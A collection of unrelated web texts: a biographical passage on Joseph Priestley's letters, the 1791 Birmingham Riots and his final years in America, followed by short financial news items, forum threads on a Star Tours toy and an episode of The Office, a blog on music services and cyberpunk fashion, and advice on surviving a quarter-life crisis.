"You say your brother is over heads and ears page: 44 in chymistry; so am I. Tell him I have just hit upon a process by which I convert pure water into an Alkaline liquor, the smell of which is beyond comparison stronger than anything that has yet been made of the kind. I can also give him a bit of spunge at which he could not bear to smell. I also make spirit of salt much stronger than any that he has seen of pure water. I first produce the Alkaline and acid airs or vapours, and with them impregnate the water to saturation. The former I get immediately from Sal Ammoniac, and the latter from common salt. At present I do little besides attending to my experiments, in which I have been of late peculiarly successful; yesterday I made some remarkable experiments on the mixture of ether with different kinds of air.
"Tell your father, however, that at intervals I (or rather Mrs. Priestley) am transcribing the third volume of the Institutes, in order to be printed the next winter, and that I hope he will soon see an essay of mine on the subject of giving the Eucharist to children. Mr. Walker makes himself very merry with my conceit, as he page: 45 calls it, but I am as little moved by the jokes of my friends as the malice of my enemies.
"I expect much pleasure from your new publication, and Mr. Johnson informs me that it is upon the road to Calne.
"With my most respectful compliments, I need not say to whom I am
"Dear Miss Aikin,
"Yours sincerely,
In that year Miss Aikin published two volumes, one of verse and one of prose (the first of which went immediately through four editions); and in that year Priestley went to Calne, in, Wiltshire, near Lord Shelburne's seat of Bowood. He seems to have taken a house in the village for Mrs. Priestley and the children, but to have been constantly occupied in the great House, where he says that his office was "nominally that of librarian," but that he had "little employment as such." In the second year he made with Lord Shelburne a considerable tour, visiting Flanders, Holland, and Germany, as far as Strasburg, returning by Paris, where page: 46 a most interesting month was spent in the brilliant, intellectual society of the Encyclopedists. With characteristic attention to the one thing he thought important, Priestley makes the only observation recorded upon the state of France; remarking, "'As I was sufficiently apprised of the fact, I did not wonder, as I otherwise should have done, to find all the philosophical persons to whom I was introduced in Paris unbelievers in Christianity, and even professed Atheists. As I chose on all occasions to appear as a Christian, I was told by some of them that I was the only person they had ever met with, of whose understanding they had any opinion, who professed to believe Christianity. This was also the case with a great part of the company I saw at Lord Shelburne's."
It is said that a manuscript exists in the Town Library of Aix, in Provence, giving some particulars of Priestley in Paris, but I made a fruitless search for it on the only occasion of remaining a day in that town.
For some years, while at Leeds, he had managed to spend a month every year in London, and his winters were now passed in the page: 47 metropolis at Lansdowne House. His noteworthy experiments in the beer vats of a brewery at Leeds had made him known to the members of the Royal Society, he had become intimately acquainted with Benjamin Franklin, and a proposition had even been made that he should accompany Captain Cook in the voyage undertaken in 1772. He spent several years in Lord Shelburne's house, and appears to have moved from thence to Birmingham. But when he had been some years settled in that town, Lord Shelburne "sent an especial messenger and common friend to engage me again in his service," but Dr. Priestley declined the offer.
Into the experimental details of that fruitful period of five and twenty years after his departure from Warrington it is needless to enter. It is open to all who care to read about it. His letters and those of his scientific friends are touched by an imaginative light of intellectual dawn. Franklin and Wedgwood, James Watt and the elder Darwin, felt a breeze as from a mountain‐top. Not for them was Nature pessimistic in her conclusions. They did not page: 48 anticipate that a perfected telescope would only serve to bring us within range of the ravening tyrants of the Star! They were haunted by no visions of a dying sun and a cooling earth. Most of them saw God in clouds and heard Him in the wind; and even those who were touched by intellectual atheism conceived of Nature as a boundless realm of progressive wealth, conducive to the use and happiness of man.
Priestley was made Doctor of Laws by the University of Edinburgh, and a member of the Royal Society by the agency of Franklin. He tells us this in four lines, and goes on to write six close pages on Scriptural matters as discussed by his colleagues, the tutors and ministers of Warrington. During several years he and his wife had to practise the most laborious economy in order to feed and educate their four children. It would be curious to learn what were the necessaries and what the luxuries of life in Yorkshire a hundred and twenty‐five years ago. What did meat cost, and was it eaten every day? What was the price of textile fabrics, and what was paid in wages? All who know the details of a minister's house even in page: 49 the first half of this century can keenly realize how very hard it was to have everything sacked, torn, and burnt in the Birmingham Riots.
When these occurred Priestley had been settled eleven years in the town as minister, and very happy years they had proved. His house, Fair Hill, was really in the country, but was then within an easy walk of the central streets. Dotted about were the wealthy abodes of prosperous merchants and manufacturers, and here he found "good workmen" to make his instruments, and "the society of persons eminent for their knowledge of chemistry." Here he met the Lunar Society, which dined together every month at the full of the moon, and numbered James Watt, Matthew Boulton, Erasmus Darwin, and Mr. Galton among its members. All this happy activity, this peaceful and refined centre of human life, was swept away in four cruel days, and never reconstituted.
In the first fortnight of July, 1791, a number of Birmingham gentlemen had planned to dine together at an hotel, to commemorate the destruction of the Bastille two years previously. At that time the coming horrors of the Revolution page: 50 were undreamt of. The French royal family were at the Tuileries, and not a single head had as yet fallen beneath the guillotine. The mild men who wished to dine together in the full light of a blazing afternoon in July had no wish for anything but the highest good of their kind, and Dr. Priestley, meeting Mr. Berrington, the well‐known Catholic priest, at tea on Wednesday the 6th, asked him and their host, Mr. William Hutton, to join the banquet. But Mr. Berrington was more acute than the Doctor, and replied, "No; we Catholics stand better with Government than you Dissenters, and we will not make common cause with you." On Monday the 11th the dinner was advertised in a local newspaper, and—sinister portent—immediately under that advertisement was "another, informing the public that the names of the gentlemen who should dine at the hotel on Thursday would be published, price one halfpenny. This seemed a signal for mischief, but mischief was unknown in Birmingham, and no one regarded it." So wrote Miss Catherine Hutton in a letter dated the following week. She adds that her brother Thomas told her on Tuesday the 12th page: 51 that "a riot was expected on Thursday, but so little was I interested by the intelligence that it left no impression on my mind. The word 'riot,' since so dreadful, contained no other idea than that of verbal abuse."
The dinner took place. A mob assembled and broke the windows, hissing and groaning, but the Liberal gentlemen did not apparently think much of this, and several of them went and took tea at a friend's house in town. This was literally noted as occurring at five o'clock, and it happens that their conversation has been recorded in a private letter, since privately printed. Dr. Priestley, however, was not with them at dinner or at tea. He had been persuaded by a wary friend to stay away. The lively, bright girl, Miss Mary R., who wrote the most vivid of all the accounts which have come down to us, went that afternoon to Fair Hill, and found Mrs. Priestley preparing to walk into Birmingham. To the rumours of window‐breaking, told her by her young friend, she replied with characteristic decision, "Nonsense, my dear," or words to that effect. The two set out together and walked back into the town, the distance of a mile, where page: 52 they found the gentlemen still at tea. They were all friends, and mostly relatives by blood or marriage—the older Birmingham families forming a sort of local mercantile aristocracy, full of culture and public spirit. After the ladies had returned each to their homes, Miss Mary R. went to look at a new conservatory which her father had just built for his daughters. It was quite empty, but the gardener had prepared the mould, and had purchased a number of plants which the young people meant to set early the next morning.
The flowers were never planted. The conservatory remains as "the baseless fabric of a vision." When the twilight darkened, the young ladies stood upon their father's lawn watching the double glow where the Old and New Meeting Houses were in flames. Then Mr. Samuel Ryland, whose daughter was engaged to marry Joseph Priestley the younger, got "a chaise" and hurried off to Fair Hill. He had been warned by "a very Liberal Churchman, Mr. Vale," who had heard mischief intended, and begged him to "take Dr. Priestley away, as he was fearful his life was in danger." Mr. Ryland page: 53 found the Doctor, who had not been into Birmingham at all, "playing at backgammon with his wife, and when informed his meeting house was on fire could scarcely believe it, and refused to leave home." Probably Mrs. Priestley also said she would not go, abandoning her pleasant, orderly rooms, her hundred and one simple treasures, her china, her linen, her books, the house where her children had grown up. However, "he and Mrs. Priestley were persuaded to get into the carriage" and leave the house to his servants and a few young men who had arrived meanwhile with the intelligence of the riot. These young men, members of the congregation, had begged hard to be allowed to defend Fair Hill. But Dr. Priestley absolutely forbade them to strike a blow. He told them that a minister of the gospel must not risk bloodshed even in lawful defence of his worldly goods, and he passed out of the house, leaving behind him his library, his costly and beautiful philosophical instruments, his treasured manuscripts, the notes of five and twenty years of scientific labour.
When the chaise with Dr. and Mrs. Priestley had relied away, the servants extinguished every page: 54 fire, the blinds were drawn down, and in the darkened rooms began that vigil by Mr. Hill which his one surviving son, Mr. Frederick Hill, has lately recounted in such moving terms. For half an hour the young man watched and waited; then came the tramp of the mob. The rest is matter of oft‐repeated history. The ringleaders procured a light from the nearest public‐house and set fire to the laboratory and the library. Of all the property in that dwelling an official inventory was afterwards compiled, a copy of which was made for Mr. Timmins, the well‐known local historian and antiquary, a hundred years later. The original document is a folio book of sixty‐five pages, in which the most minute details are given, and the value of each entry given by sworn valuers, surveyors for the building, auctioneers for the furniture, and booksellers for the books. All these are very curious and interesting as records of the interior of a substantial house one hundred years ago, and valuable as a register of the prices of household furniture. It has been partially reproduced in Dr. Carrington Bolton's interesting volume of Priestley's scientific correspondence, page: 55 privately printed in New York. In addition to the splendid apparatus given to the Doctor partly by Lord Shelburne, partly by Wedgwood and other friends, are noted a large silver medallion of Sir Isaac Newton, and another in Wedgwood ware, two "five‐guinea notes" in pocket books, a Magellan timepiece, three black Wedgwood inkstands, a large mahogany lathe, sixty pounds' worth of lenses, and other optical instruments, including a large camera obscura. Of "chemical substances" there were six or seven hundred, liquid and solid, of which no account can be given, many of them the results of expensive processes.
About three years later a similar inventory was taken of the apparatus of the French chemist, Lavoisier, guillotined in May, 1794.
Fair Hill remained a mere shell, of which small pictures were made and published. Of the actual burning a strange record exists. An artist of the name of Exted, a "pupil of Hogarth," made an elaborate painting in oils, sketched upon the spot. "This picture represents the mob, with the banner inscribed 'Church and King,' in the very act of destroy‐ page: 56 ing destroying Dr. Priestley's house; chairs, globes, bottles, apparatus, a wig, slippers, window‐frames, books and pamphlets, a telescope, a bed‐post, lying on the ground or falling from a window. The more sober part of the rioters, both in the house and in the garden, in the most various attitudes, the drunken one stretched out at length. Several of the faces are portraits; among them the town‐crier with his public bell, a demon who attended on the occasion to incite the mob." This description is from a private letter. It is my impression that the secret history of the Birmingham Riots has never been unearthed, and now never will be known. Political passion has subsided; Churchmen and Dissenters have changed their lines of thought; the New Meeting House has become a Roman Catholic chapel, and Dr. Priestley's congregation meets in a fine building called the Church of the Messiah, and a son of Sarah S. became the much‐respected Mayor and most prominent citizen of the metropolis of the Midlands.
Of the destruction of many other houses, far wealthier than that of Priestley's, sad stories remain, notably the ruin of William Hutton's page: 57 two dwellings; while Dr. Priestley's journey to London, his sojourn at Hackney, and final emigration to America are matters of history. But, on examining the documents, some unpublished, others printed in old‐fashioned magazines, from whence they have never emerged, I am deeply impressed with the struggle it cost him to cross the Atlantic, and the changed life to which he submitted. The younger men of the congregation, including his own sons, believed in the possibility of a successful settlement across the ocean. But, as happened in the case of Winthrop, a hundred and sixty years earlier, the hand of death lay heavy on the exiles. The first to go was Henry Priestley, a delicate young man brought up for a learned profession. He flung himself into a farmer's life, caught ague, then fever, from exposure in the unwonted climate, and died in 1795. His valiant mother survived him just nine months. The New House, now known as the Priestley House, and kept up by Government, was partly planned by her, the notable housewife who for thirty‐four years had spared her husband every practical care. She did not page: 58 live to inhabit it. Priestley's habitual submission carried him over a time of deep depression, which he pathetically tries in his letters to conceal. Over them, though some of them have been printed from a collection at Warrington, I draw a veil. Under the deep self‐control and reserve of his Presbyterian nurture was hidden a soul sensitively alive to affection, and an intellect instinct with genius. Among men he had one dear friend, with whom he continued to correspond. The following letter, hitherto unpublished, ends with sad, suppressed yearning. It reached its destination, travelling from the backwoods of Pennsylvania to the Strand, and lies before me now:—
"Northumberland, April 2, 1802.
"To the Rev. W. Lindsey,
"Essex Street, London.
"DEAR FRIEND,—I have at length, with great satisfaction, received a box of books from Mr. Johnson, though by no means all that I wrote for long ago. In it I was disappointed not to find either Mr. Belsham's 'Lectures,' or his (brother's) fifth and sixth volumes. But my page: 59 son, being at Philadelphia when the box arrived, purchased those books for me. The history, being more immediately interesting, I read first, and also the 'Answer to Mr. Marsh,' and I admire them as much as, from your account of them, I expected to do. I am, however, astonished at the freedom with which he writes. Nothing of the kind would have passed unnoticed here during Mr. Adams' administration. I long to see another volume, which I imagine will bring the history down to the general peace. I see references to his history in quarto. Is this materially different from that in octavo?
"I have made some progress in reading Mr. Belsham's 'Lectures,' and admire their clearness and comprehensiveness. That any work of this kind should be inviting to the generality of readers cannot be expected, especially as there is nothing of controversy to stimulate. It will, however, I doubt not, be long a standard work on the subject.
"Please to call on Mr. Philips, and thank him in my name for the many curious and Valuable articles which he has sent me in this parcel.page: 60
"I sent Mr. Nicholson two articles for his Journal, with a P.S. to one of them in a letter to you. Has he received them? I hope Mr. Morgan has received the letter I wrote him. Dr. Woodhouse, Professor of Chemistry here, is going to make a tour of part of Europe. I gave him a letter of introduction to you, and sent after him, directed to you, one to Sir Joseph Banks, who, I hope, will receive him with civility.
"Warned by the impaired state of my health (though I am not without hopes of a restoration) that what I do I must. do quickly, I have begun to print the 'Continuation of my Church History.' We have printed two sheets, and I am promised three in a week. Four volumes will complete the whole. As I have hardly any other source of expense, I hope that, if Mr. Wilkinson continues his allowance, I shall be able to finish this with little or no assistance, but if I receive any it will be welcome. No person has been more liberal in his promises to aid me in works of this kind than Mr. Russell, but his affairs have been in such a state that he has not been able. I think to write to him on page: 61 the subject. He shall have copies for all that he may advance.
"I have just received a very interesting letter from Mr. J. Stone, giving me an account of the state of religion in France and Germany, where Unitarianism has already gained great ground, and has been the means of putting a stop to the spread of infidelity. He was intimate with Mr. de la Harpe, the tutor of the Emperor Alexander of Russia, and from his letters I have formed great expectations from him. He is the friend of liberty, and in this promises to be a truly patriot prince. Mr. Stone urges me much to go to Paris. But any removal is now out of the question. I must be thinking of my last, and I am thankful that I see no great cause to be anxious about it. I have lived in good health to the usual term of human life, and hope I have done some good in it, though I am sensible I might have done more. I am particularly thankful that you have been so long preserved to me and to the world. What could I have done without you? and this in many respects. I can only wish that we may derive the same advantage from our intercourse in page: 62 another state, and the nearer I approach to it the more I think of it. How dark and gloomy must be the prospects of unbelievers in the same circumstances!
"We have had an uncommonly mild winter, such as no person here remembers, and the papers say that you have had a severe one, and that the clearness of provision continues. On the whole, I think a situation in this country more truly eligible than in any other country in the world. We have peace and plenty, and everything in a state of unexampled improvement. I may add that this very place appears to me to be on the whole more eligible than any other that I have seen or heard of.
"Yours and Mrs. Lindsey's most affectionately,
Priestley survived his wife's death eight years, and found a measure of restored happiness in the children of his eldest son. No murmur ever crossed his lips. He worked on to the very last, correcting proofs of his "Notes on Isaiah" two days before he died, "and, having examined the Greek and Hebrew quotations, and finding them page: 63 right, he said he was satisfied we should finish the work very well." On the morning of his death, February 6, 1804, he dictated an alteration in a pamphlet; his son read it over to him, and he said, "That is right, and I have now done." He had previously offered grateful thanks to the Almighty for giving him a painless death among his children; and putting his hand before his face, so that those watching him could not tell the exact moment, he passed away in deep and conscious communion with his God.


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By Ben Levisohn
Last week, Brazil's central bank surprised the market by hiking interest rates just 0.25 percentage point, half of the expected 0.5 point increase. Now economists are starting to take note, and dialing back their expectations for future hikes.
Flavia Cattan-Naslausky of RBS writes:
Our initial call was for a tightening cycle capped at 150bp, but April's decision increases the probability of a smaller budget of hikes, more like 100bp, if not less. Lower inflation expectations will be harder won without actual inflation falling. Greater normalization of food prices could provide some relief. April mid-month inflation suggested this could be starting.
Cattan-Naslausky worries about the impact on Brazil's economic growth:
In all, the monetary policy decision was negative for asset prices adding to the perception of policy deterioration. Disappointment with economic activity will start to weigh more heavily on asset prices including FX – but capital market flows suggest that short term the outlook is for BRL appreciation.
This was echoed by Garry Evans, HSBC's global head of equity strategy at a meeting today. He too had been expecting 1.5 percentage points of rate hikes, but now sees a smaller boost. Still, on its own, a less-hawkish central bank won't be enough to get Brazil's stocks heading higher, he says. That will take a less intrusive federal government, especially in the case of Petrobras (PBR), which won't have the cash flow for much new exploration without the government letting it make more money.
The iShares MSCI Brazil Capped Index ETF (EWZ) has dropped 0.4% to $52.99 today, while Petrobras has jumped 1.1% to $16.70.


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I have only one thing to say about this ship - I want it. Too bad I won't be going to Disney any time soon. What does their DelivEARS service charge for shipping?
I have only one thing to say about this ship - I want it. Too bad I won't be going to Disney any time soon. What does their DelivEARS service charge for shipping?
I haven't done DelivEARS in a long time, but I think the service was free and shipping was a bit steep.
Darth Vader is becoming the Mickey Mouse of Star Wars.
Kylo Ren - came from Space Brooklyn, although he moved to Space Williamsburg before it was trendy.
The use of a lightsaber does not make one a Jedi, it is the ability to not use it.
Here is a photo album with several shots of figures in the vehicle. C-3PO and Ace look great in the pilot's chair, but the best part of all is that the chair is removable and Rex can fit in there. I can quite truly die a happy man now.
Got a question for Hasbro? Ask it here!
My Photos and Reviews: SSG Toy Guide
My Star Wars Fan Film: The Lazy Jedi
I saw these on the shelves at Disneyland this past weekend. The box is huge, roughly the size of the Republic Shuttle's box and as mentioned, Hasbro would charge $100 for something like this.
That being said and my passholder discount notwithstanding, I decided to hold off on purchasing it until I read a proper review or two. It's going to take up a lot of display space and so I need to figure out whether I rather have this out on display or a vehicle that was actually in the films.
I'm going to DL this weekend and intend to pick one up with my AP discount. I was going to go last weekend when I saw the news, but since we had family plans to go a week later, I figured it'd just be a waste of gas money (around $10), of which I don't have much of right now.
Darth Vader is becoming the Mickey Mouse of Star Wars.
Kylo Ren - came from Space Brooklyn, although he moved to Space Williamsburg before it was trendy.
The use of a lightsaber does not make one a Jedi, it is the ability to not use it.
A friend of mine ordered one for each of us today. With shipping he said it came to about $62.50.
Have: CW Yularen, CW Clone, everything from CW Slave I set except Slave I, TFU Shadow Stormtrooper x2, Evo Trooper, Saga AT-AT Driver, K-Mart Jodo Kast || Want: Vintage Fordo
Thanks to TheDarthVader, Phantom-like Menace, TheRealDubya, Jediguy, Dark Marble, Umbra, Qui-Long Gone, CrunchyNug, GH_fan and jedikiss.
I picked up the Starspeeder 1000 last night at Disneyland. Right now, AP discount was 20% off, so that was $11 off the pricetag, the take-home after tax being $47.93, IIRC.
It's a big window box with a big vehicle inside. The backdrop is the podrace. The front box window on mine got knocked in on the way back to the car, but otherwise the box survived. Getting it out requires cutting a lot of seam tape on the box, then some tape on the tray, then cutting 2 shrink-wraps around the body of the Starspeeder. Inside the Starspeeder you'll need to remove 2 pieces of masking tape, one holding in the interchangeable screen panels, and another holding down the pilot chair.
The vehicle looks quite good, I could believe it was a design-aid model if it were under glass, very little gives it away. The exterior details are paint for the big white and gray elements, and pre-applied waterslide decals for the little stuff - it helps to be picky about how yours looks, but the reality is that you can only see the left side, front and back, not the right or the interior, so it's always a gamble - mine has a slightly askew "Starspeeder 1000" logo and a little bit of filled-in slop, but nothing egregious. The orange metallic plastic color has a few swirls as with any metallic dye in a plastic, but largely looks good enough. The simple R2 figure in the droid slot has the basics down for his look. The only bit of the ship exterior I feel got a short shrift was the engine nozzles on the back, which remain gray like most of the back - some of that gray on mine has a tiny bit of slop, but at this color it's barely noticeable. The IC-360 droid's socket interior has stickers for the walls' detail, and the droid itself is fully painted in accurate coloring.
The interior is all pre-applied stickers for the deco on the walls, and they overlap a little at the edges - that's common with bigger stickers unfortunately. The sticker nature is a bit of a bummer, but acceptable at the price. The pilot seat on mine had a bent control, but I was able to slowly bend it back into position without it even showing a stress mark. The open ceiling area without the roof has a couple orange paint blotch slops on mine, no idea why, but they don't interfere with enjoyment since they're not in a canonical area of the ship. The chairs, including the pilot chair, sport gray paint accents that are well-applied. Several areas on the interior have thin plastic stringers, easily removed.
The size is impressive, it's probably not that far off scale, maybe 1:1.25 or thereabouts. Oddly, while the ship is only a little under-scale, the R2 it comes with is a little over-scale. The ship stands about as tall as the tallest point on the BMF, but looks bigger due to being a uniform shape; it's roughly the same size body as the newer AT-AT, but seems somehow much bigger because it's not tapered, I guess. The Starspeeder is hefty without being heavy, so it can be whooshed. Sculpting on the exterior is very good overall, a few elements not quite as tight but still good enough; the underside and aft sections of the SS1k are all sculpted as accurately as I've ever seen, although the movable landing legs seen in the boarding video are nowhere to be found - fine by me, it's not accurate to the one seen in line. The interior sculpting is far less impressive though, just 3 rows of seats and the pilot seat, no finer details sculpted unfortunately, but it's still enjoyable. The ship overall feels pretty strong, though the sides at the doors are definitely more flex than you'd want to grab it by.
Pressing in the upper engine nozzle on either side opens that side's doors in unison and locks them open, it also lights up 3 yellow LEDs between the doors and plays the 5-note Star Tours chime, a great touch; a second press closes the doors. The lower 2 engine nozzles set off 3PO thanking you for choosing Star Tours, and the other is him demanding lightspeed, followed by a jump to lightspeed; both set off the blue front headlight using 2 blue LEDs inside (so close you can see the angle they're attached, but it's cool none the less), while the lightspeed also lights up the red LED at the tip of either lower cannon. An external button just behind the slope of the ship opens the twin concealed blasters under the front window along with corresponding mechanical sound and then blaster fire - the blasters reveal in a nice way that's slowed down just a little bit, and the blasters are small rubbery plastic that might be delicate, I haven't checked yet. Both the doors and the hidden blasters can be deployed without electronic features by depressing their buttons only halfway. R2 sits loose in his socket, he's sculpted adequately for a '90s Hasbro R2 except Disney didn't give him leg articulation or close the underside of his main body where his 3rd leg would be, so all you get here is a turning dome; press down on the figure and you get 1 of 3 R2 sounds as well as the main headlight lighting blue for each. The IC-360's hatch is held in with a very small friction tab, and the droid itself similarly uses a loose friction peg, it enjoys no electronic features. The interior has 4 removable panels to cover the cockpit-shield sticker at the front screen area, each one has tabs to set off a sound file unique to the image - a holographic Yoda transmission, an AT-AT on Hoth, a Podrace scene, and a space shot of the Death Star. A slick feature they designed in is that the 3PO pilot chair not only can rotate, but is removable so that the Star Tours Captain Rex figure can be put in its place.
If this had been a Hasbro piece, it definitely would have cost a lot more at this size, but the interior would have been better and there would have been a little more variety among the sounds. That said, at $55 this massive piece is a home run and definitely the toy Star Tours fans have been waiting for over the last 24 years since the ride opened. In terms of my Star Wars collection, it almost shames the other big vehicles because it's pretty much to scale where they aren't, so it looks good next to the Falcon but it also reminds one that the BMF just ain't big enough.
Darth Vader is becoming the Mickey Mouse of Star Wars.
Kylo Ren - came from Space Brooklyn, although he moved to Space Williamsburg before it was trendy.
The use of a lightsaber does not make one a Jedi, it is the ability to not use it.
I have one of these now as well!
I have just one thing to add to JT's review comments...each passenger row has two seat belts that clasp in the middle seat with two notches and it's quite cumbersome to get those notches to lock into place. And this is just a minor flaw but on the restraint on my 3rd row, there's a few streaks of reddish orange paint.


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By Kevin Kingsbury
It was for the most part a bang-and-sit type session for US stocks, with the major indexes solidly in the red premarket and staying there for most of the session.
There were several attempts amid today's low-volume activity to get things closer to break-even, including the final half-hour. But stocks sold off some into the close to put any window-dressing efforts to bed.
The Dow industrials finished down 52 at 13139, the S&P 500 dropped 3.5 to 1427, led lower by energy and tech stocks, and the Nasdaq Composite shed 8.5 to 3013.
Perhaps sugar-plum dreams (or some adult action–even the semblance of it—in DC) will make for improved market sentiment come Wednesday.
For more MarketBeat and other streaming markets coverage from The Wall Street Journal, point your mobile browser to wsj.com/marketspulse.


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By NEMS Daily Journal
FULTON – Tupelo native Alex Williamson has plans to open a new doughnut and sandwich shop in Fulton.
Sweet Cheeks Donut & Sammich Shop will be located on Main Street between downtown and the Itawamba Community College campus.
Williamson has been assistant baseball coach at ICC the past sixyears but is leaving to open the business. He said he has always loved food and decided to act when he saw an opening in the market.
The restaurant will serve breakfast and lunch.
Williamson said Sweet Cheeks will be the only place in Fulton serving hot, freshly made doughnut. In addition to doughnut, it will serve kolaches – a savory filled pastry – in the mornings
Hot and cold sandwiches will be freshly made and served on french bread. Sweet Cheeks also will offer homemade dressings and soups. Williamson plans to open the restaurant in mid-July.


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Chris and Tina's wedding at Luana Hills Golf Course. Back deep in Maunawili at the foot of the Koolau Mountains. In this picture, Chris is dancing with his mom. Waimea and Faith, the couple's children are also in the pic along with some of their friends.
Luana Hills Golf Course in Maunawili, island of Oahu. Later Tina would dance hula for Chris as he sat before her. Then Tina danced with her father. Chris danced with his mother, and Tina and Chris danced together. The kids, Waimea, Faith, Kamahele and others were inside and outside on the lanai. For the dancing an...


text: Last year we introduced you to MuslimZon.com. They were just starting out as an online retailer of everything you could ever want as a Muslim family- books, videos, accessories and of course decorations and good for Ramadan and Eid. They've since grown and are now offering more products from some of my favorite retailers of products that really speak to ...Read More »


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I loved how they kicked the awkwardness level to 11 for the comeback show.
I was dying at Michael's vasectomy rant, as well as Dwight bringing his babysitter to the party. "I think I should go." "Fine, then leave."
I loved how they kicked the awkwardness level to 11 for the comeback show.
I was dying at Michael's vasectomy rant, as well as Dwight bringing his babysitter to the party. "I think I should go." "Fine, then leave."
[FONT=Arial Black]"I'M A LEAD FARMER, MOTHERF***ER!!!!!"[/FONT]
[FONT=Impact]Awesome Traders: JON9000, darkagent[/FONT]
I thought tonights episode was pretty good, better than most of what aired as of late Sorry Cae, don't hate. But I enjoyed tonights episode, for the most part, even if it was awkward as f***!
Speaking of which, while watching tonights show the word that was constantly coming to mind was "awkward".
Jan seemed completely out of character... But I know people change when they host parties, get-togethers or have people over, which I'm assuming what was going on with her tonight. Michael wasn't nearly as bad.
I love how Michael likely duped Jim and Pam into having dinner with them.
Andy and Angela joining was something else. It is obvious Angela is not at all into Andy, while he is making a serious effort. The ice cream bit was hilarious.
Dwight. I love the food and wine glasses he brought (massive wine glass!)
Jan informing Pam that she dated Michael was hilarious.
And the fake call with Jims place flooding was great too.
Michaels "plasma" screen was something else. And Jan making him sleep at the foot of his bed was something else as well. Candles? Never would have expected that. And she obviously has taken over most of those rooms. Michael is such a pansy.
Anyways, while I found a lot of this episode to be far fetched (mainly the stuff between Jan and Michael, Jan predominantly), it was still pretty funny. It feels good to finally be able to pick several parts of an Office episode that were hilarious, again, as opposed to only a few, or none. Again, don't hate.
"That's the best deal you're gonna get. I won't tell you you can save yourself, because you can't."
I couldn't help but laugh my arse off at Pam and Jim's faces when they saw the videocamera in the bedroom.
I thought this was a pretty solid episode and despite being awkward, this doesn't nearly take the Awkward Cake that is still awarded to Phyillis' Wedding.
I just don't know if I like how they've made Jan incredibly crazy this season. To me, it almost doesn't mesh well from what we saw of her in seasons 2 and 3.
And michael's plasma TV was really funny. "I just stand here for hours and watch TV." Jim's flood call was also great.
Good to have the show back. Hopefully we get to, ya know, the actual OFFICE next week though.
"Woke up at 9.55am. Soon as I woke up, I looked at Suzanne and she looked at me. I said, 'Did I tell you about the immune system?' Suzanne starting laughing, I said, 'it's amazing.' She said, 'Not now.'"
I remember some things about Jan, but they all seemed minor in comparison to how she was acting last night; more psycho than awkward, after thinking about it some more. Sure, we know she is a bit odd, but last night's episode brought everything to an entirely new level. Thats how I perceived it anyways.
"That's the best deal you're gonna get. I won't tell you you can save yourself, because you can't."
I thought the show as amusing but really not funny at all. Awkward is definitely the word to sum up last night's episode.
In my opinion they need to improve this show before ever thinking about a spin-off. Face it most spinoffs fail miserably.
Hilarious episode, definitely the most awkward ever -- even beating out Phyllis' Wedding for that title.
I loved this episode, watched it 4 or 5 times already.
Jan is not acting out of character IMO, they've been showing a progression of her from businesswoman to nutjob over the last couple of years.
Great show.
I'm into my 2nd viewing right now and so far I'd say this is an average episode. Not bad, but not great either. It has some very good and funny moments but also some weird parts. I love the Jim and Pam stuff, as well as much of the Dwight stuff. "and she will bear your fruit."
Kevin is clearly the weak link of this show IMO.


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Despite all the negativity I'd heard about this "scalpers' paradise," I had my first go around with the warehouse of collectibles. First, found an actual parking space in an actual parking lot within a minute. Second, I found a Sith Attack Speeder for only $10.
I missed out on the Pit o' Parking Horror!


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Roxio, Pressplay and Napster
As rumored last week, Roxio has acquired the remains of the music subscription service Pressplay. A fair amount of the technology we developed at MP3.com (bought by Vivendi Universal) was a foundation for Pressplay. So now it looks like Roxio is going to give it a shot with the Napster brand. The brand they acquired last November.
After RealNetworks bought Listen.com and the launch of the new iTunes. I think it is about time that we update David Weekly's graph of record companies (first posted on the pho music list). Who would have thought that the online music subscription services would get this hot. Summer is definitely here.
Hi-Tech Fashion
Since the days of Mondo 2000 Magazine, the hi-tech fashions created out of their unique textiles, space age fabrics and slick plastics, have always been an interest of mine. They represent a unique twist on wearable gear and the "new edge" fashion trends. The futuristic cyberpunk world displayed in many noir sci-fi films are taking some of these counterculture ideas to the screen. Not because they are the latest designs shown on the catwalk by famous fashion designers, but more through the visions represented by the movies themselves. The fashion that normally was isolated in the world of erotic and fetish balls is making its way to your general population. A few years ago, I distinctly remember seeing a PVC jacket hanging in a department store in the mall. I wasn't browsing at Syren, Stormy Leather or Skin Two. No, this was just at the local, Fashion Valley Mall, here in San Diego.
In the recently released Matrix Reloaded, costume designer Kym Barrett continued the trend and brought some great new designs to the big screen. A priest-like coat for Neo and the mixture of leather for close-ups, and PVC for Trinity and some alligator and reptilian for Niobe and Morpheus. Costume Cutter Roger Tait talks about his experience of cutting Persephone's nude latex dress. A dress that brings a more 40s formal, business-like cut to latex, but is right along the designs of Libidex and Inner Sanctum. I still would like to see someone create me that silver latex/PVC business suit that I have always dreamt of having. The days of my staple silver pants are over. Of course the sunglasses are still a big part of the costumes as well. I would like to check out a Première Vision fabric show one of these days. It would be neat to see what they would have for sale.


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In your 20s and struggling with the 'real world'? You're not alone
We've all heard of a mid-life crisis, yet the quarter-life crisis may not be so well-known. However, according to research, most 20- and 30-somethings will face one.
Your 20s can be a difficult time. You may have an overwhelming amount of decisions to make but limited opportunities, and you may feel like you are struggling to make it in the "real world" with the anxieties of careers, relationships and debt.
According to research by Gumtree.com, 86 per cent of young people feel under pressure to succeed in their relationships and careers before the age of 30, while research by Vodafone suggests that 73 per cent of 26- to 30-year-olds are experiencing a quarter-life crisis. However, although it may not feel like it now, your crisis can be overcome. Here are 10 ways to survive a quarter-life crisis.
Share your problems
If you are experiencing a quarter-life crisis it is common to feel alone, as though you are the only one facing this.
It can seem as though everybody else is breezing through life, following their dreams, picking up promotions and falling into movie-worthy relationships as they go.
However, if you open up to your friends about how you are feeling, you may be surprised to find you're not the only one having these thoughts.
Acknowledge your feelings
It can be easy to take on board the flippant advice of others that "you're young and have your whole life ahead of you", and to feel guilty or self-indulgent for harbouring doubts or feelings of dissatisfaction with life.
However, it is important to realise that it's completely acceptable to have these emotions and your thoughts are valid, whatever your age. Know that you are entitled to your feelings and that they deserve to be taken seriously and addressed, not ignored.
Decide what you want
from lifeTo increase your satisfaction in life, you have to decide what you want from it. We often compare ourselves with others and think we want what they have, but just because something makes somebody else happy it doesn't mean that it is right for you.
Stop comparing yourself with others and feeling pressured to strive for goals that aren't on your to-do list (such as starting a family, earning more money or buying your own home).
Make an action plan
